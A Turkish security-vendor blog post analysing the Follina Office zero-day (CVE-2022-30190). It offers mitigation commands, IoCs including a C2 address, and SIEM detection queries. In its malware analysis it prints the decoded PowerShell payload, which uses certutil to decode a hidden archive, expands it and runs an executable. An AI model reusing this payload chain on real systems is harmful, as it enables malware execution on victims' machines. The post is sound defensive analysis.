Barikat Siber Güvenlik Logo

Microsoft Office’de Zero-Day “Follina” Keşfedildi

Microsoft Office’de Zero-Day “Follina” Keşfedildi  | Barikat Siber Güvenlik

Microsoft Office’de Zero-Day “Follina” Keşfedildi

03/06/2022

27 Mayıs’ta araştırmacılar, Microsoft Office’te kötü amaçlı bir sözcük belgesi kullanılarak kurbanın makinesinde kod yürütülmesine olanak sağlayabilecek bir zero-day güvenlik açığı ortaya çıkardı. CVE-2022-30190 tanımlayıcı atanan bu güvenlik açığı “Follina olarak adlandırıldı.

Follina 0-day zafiyeti Windows makinelerde uzaktan kod çalıştırmayı sağlamaktadır. Exploit işleminin gerçekleşmesi için Windows’un araçlarından MSDT (Microsoft Diagnostics Tool) kullanılmaktadır. MSDT, Diagnostics Troubleshooting Wizard aracı olarak da adlandırılmaktadır. System32 dosyasının altında bulunur ve tool bilgisayarlarda bir sorun olduğunda bunu makine bilgileriyle birlikte support sayfasına yönlendirilmesini sağlar. Zafiyet, aslında buradan kaynaklanmaktadır. Saldırgan MSDT toolun yönlendireceği hedefi düzenleyerek istediği URL adresine yönlendirme yapabilmekte ve dokümanın içerisine gömdüğü zararlı komutları çalıştırabilmektedir.


Microsoft Office’de Zero-Day “Follina” Keşfedildi

Word dokümanları phishing saldırılarında sıkça kullanılmakla birlikte word dosyalarında bulunan macrolara powershell komutları enjekte edilerek uzaktan kod çalıştırılmasına, kayıt defterinin manipule edilerek kalıcılık sağlanmasına, arka plan schedule task oluşturarak audit loglarının silinmesine ve dış bir IP’ye yönlendirme yapılmasına olanak verebilmektedir.

Follina zafiyeti ise macrolar aktif olmasa bile powershell betiklerinin çalışmasını sağlayan kritik bir 0-day zafiyetidir. Huntress analizine göre zafiyet aksiyonlarını inceleyelim.


Microsoft Office’de Zero-Day “Follina” Keşfedildi

ZARARLI WORD DOSYASI ANALİZİ

1. Zararlı word dokümanına ait arşivi unzip ettiğimizde xml.rels uzantılı bir dosya çıkmaktadır. xml.rels uzantılı dosya içeriğini kontrol ettiğimizde ise Target kolonunda dış bir URL’ye yönlendirme yapıldığını görmekteyiz.


Microsoft Office’de Zero-Day “Follina” Keşfedildi

2. RDF842l.html dosyasının içeriğini incelersek; ms-msdt için bir şema kullanılarak Windows’un PCWDiagnostic paketi çağrılmış, sonrasında ise IT_BrowseForFile parametresini dahil ederek powershell komutları yazılmış. Powershell komutları içeriğinde base64 ile encode edilmiş komut bulunmaktadır.Komutu decode edelim.


Microsoft Office’de Zero-Day “Follina” Keşfedildi

3. Kevin Beaumont güvenlik araştırmacısının yaptığı testlere göre Follina 0-day zafiyetinin word dokümanında bulunan macro ifadeler disable edilmiş olsa bile powershell komutunun çalıştığı görülmüş.


Microsoft Office’de Zero-Day “Follina” Keşfedildi

Decode Edilen Kodun Yaptığı İşlemler Şu Şekildedir;

Start-Process $cmd -windowstyle hidden -ArgumentList “/c taskkill /f /im msdt.exe”; → Arka planda cmd’yi çalıştırıyor.Çalışan msdt.exe processi var ise bunları kill ediyor.

Start-Process $cmd -windowstyle hidden -ArgumentList “/c cd C:\users\public\&&for /r %temp% %i in (05–2022–0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe”; → Bir döngü ile 05.-2022.04.38.rar içerisindeki encode edilen veriler 1.t dosyasında store ediliyor decode edilmiş hali ise 1.c dosyasında store ediliyor sonrasında rgb.exe processi çalıştırılıyor. Burada certutil komutunun decode etme özelliği kullanılmıştır.


Microsoft Office’de Zero-Day “Follina” Keşfedildi

Microsoft Office’de Zero-Day “Follina” Keşfedildi

Microsoft Office’de Zero-Day “Follina” Keşfedildi

Microsoft Office’de Zero-Day “Follina” Keşfedildi

WINWORD.EXE çalışmasına rağmen child process olarak istenilen powershell komutları çalışabilmektedir

Özetleyecek olursak msdt aracı kullanılarak istenilen dış bir kaynağa yönlendirme yapılabilmekte,Javascript’in windows.location nesnesi ile birlikte istenilen paketler koda dahil edilip powershell komutları çalıştırılabilmektedir. Zafiyette word dosyasını açıp macroları aktif etmeden de powershell betikleri çalışabilmektedir. Geçici çözüm olarak MSDT URL protokolü registry üzerinden silinebilir. Öncesinde registry anahtarının yedeği alınmalıdır.

MSDT URL Protokolünü Disable Etme:

→ cmd Administrator olarak başlatılır.

”reg export HKEY_CLASSES_ROOT\ms-msdt filename” komutu ile registry anahtarının yedeği alınır.

“reg delete HKEY_CLASSES_ROOT\ms-msdt /f “ komutu ile kayıt defterinden msdt url protokolü silinir.

Eğer msdt url protokolü aktifleştirmek istenirse aşağıdaki komut ile yeniden registry’e import işlemi yapılmalıdır.

→ cmd Administrator olarak başlatılır.

reg import “filename”

Microsoft Defender İle Şüpheli Msdt Aktivitilerin Tespiti

Microsoft Defender 1.367.719.0 versiyonu sonrası şüpheli msdt.exe aktivitileri trojan olarak algılanmakta ve bloklanmaktadır.

  • Trojan:Win32/Mesdetty.A (blocks msdt command line)
  • Trojan:Win32/Mesdetty.B (blocks msdt command line)
  • Behavior:Win32/MesdettyLaunch.A!blk (terminates the process that launched msdt command line)

Eğer registryden msdt url protokolü silinmek istenmiyor ise Microsoft Defender en güncel sürüme getirilmelidir.

Follina 0-day IoC

https://exchange.xforce.ibmcloud.com/malware/52945af1def85b171870b31fa4782e52

https://www.virustotal.com/gui/file/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784

https://www.virustotal.com/gui/ip-address/141.105.65.149

52945af1def85b171870b31fa4782e52
8ee8fe6f0226e346e224cd72c728157c
6bcee92ab337c9130f27143cc7be5a55
f531a7c270d43656e34d578c8e71bc39
529c8f3d6d02ba996357aba535f688fc
d313002804198b5af1e0b537799be348

4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784

C2 Server: 141[.]105.65.149

C2 URL: www.xmlformats[.]com

Güvenlik Ürünlerinde Anamali Tespiti

Microsoft Defender

DeviceProcessEvents | where ((ProcessCommandLine contains "WINWORD.EXE") and (ProcessCommandLine contains "msdt.exe") and (ProcessCommandLine contains "sdiagnhost.exe" or ProcessCommandLine contains "csc.exe" or ProcessCommandLine contains "PCWDiagnostic" or ProcessCommandLine contains "IT_ReBrowserForFile" or ProcessCommandLine contains "IT_BrowserForFile" or ProcessCommandLine contains "conhost.exe"))

Splunk

[Doc Malware]
alert.severity = 2
description = Detection (Rule ID: 74566a6a66aaasdq2ed)
cron_schedule = 0 * * * *
disabled = 1
is_scheduled = 1
is_visible = 1
dispatch.earliest_time = -60m@m
dispatch.latest_time = now
search = (source="WinEventLog:*" AND (CommandLine="*WINWORD.EXE*") AND (CommandLine="*msdt.exe*") AND (CommandLine="*sdiagnhost.exe*" OR CommandLine="*csc.exe*" OR CommandLine="*PCWDiagnostic*" OR CommandLine="*IT_ReBrowserForFile*" OR CommandLine="*IT_BrowserForFile*" OR CommandLine="*conhost.exe*")) alert.suppress = 0
alert.track = 1

Qradar

SELECT UTF8(payload) from events where LOGSOURCETYPENAME(devicetype)='Microsoft Windows Security Event Log' and ("Process CommandLine" ilike '%WINWORD.EXE%') and ("Process CommandLine" ilike '%msdt.exe%') and ("Process CommandLine" ilike '%sdiagnhost.exe%' or "Process CommandLine" ilike '%csc.exe%' or "Process CommandLine" ilike '%PCWDiagnostic%' or "Process CommandLine" ilike '%IT_ReBrowserForFile%' or "Process CommandLine" ilike '%IT_BrowserForFile%' or "Process CommandLine" ilike '%conhost.exe%')

Graylog

(CommandLine.keyword:*WINWORD.EXE* AND CommandLine.keyword:*msdt.exe* AND CommandLine.keyword:(*sdiagnhost.exe* *csc.exe* *PCWDiagnostic* *IT_ReBrowserForFile* *IT_BrowserForFile* *conhost.exe*))

Sumologic

(_sourceCategory=*windows* AND (CommandLine = "*WINWORD.EXE*") AND (CommandLine = "*msdt.exe*") AND (CommandLine = "*sdiagnhost.exe*" OR CommandLine = "*csc.exe*" OR CommandLine = "*PCWDiagnostic*" OR CommandLine = "*IT_ReBrowserForFile*" OR CommandLine = "*IT_BrowserForFile*" OR CommandLine = "*conhost.exe*"))

Elastic Query

(process.command_line:*WINWORD.EXE* AND process.command_line:*msdt.exe* AND process.command_line:(*sdiagnhost.exe* OR *csc.exe* OR *PCWDiagnostic* OR *IT_ReBrowserForFile* OR *IT_BrowserForFile* OR *conhost.exe*))

Reference : https://thehackernews.com/2022/05/watch-out-researchers-spot-new.html

Sosyal Medyada Paylaş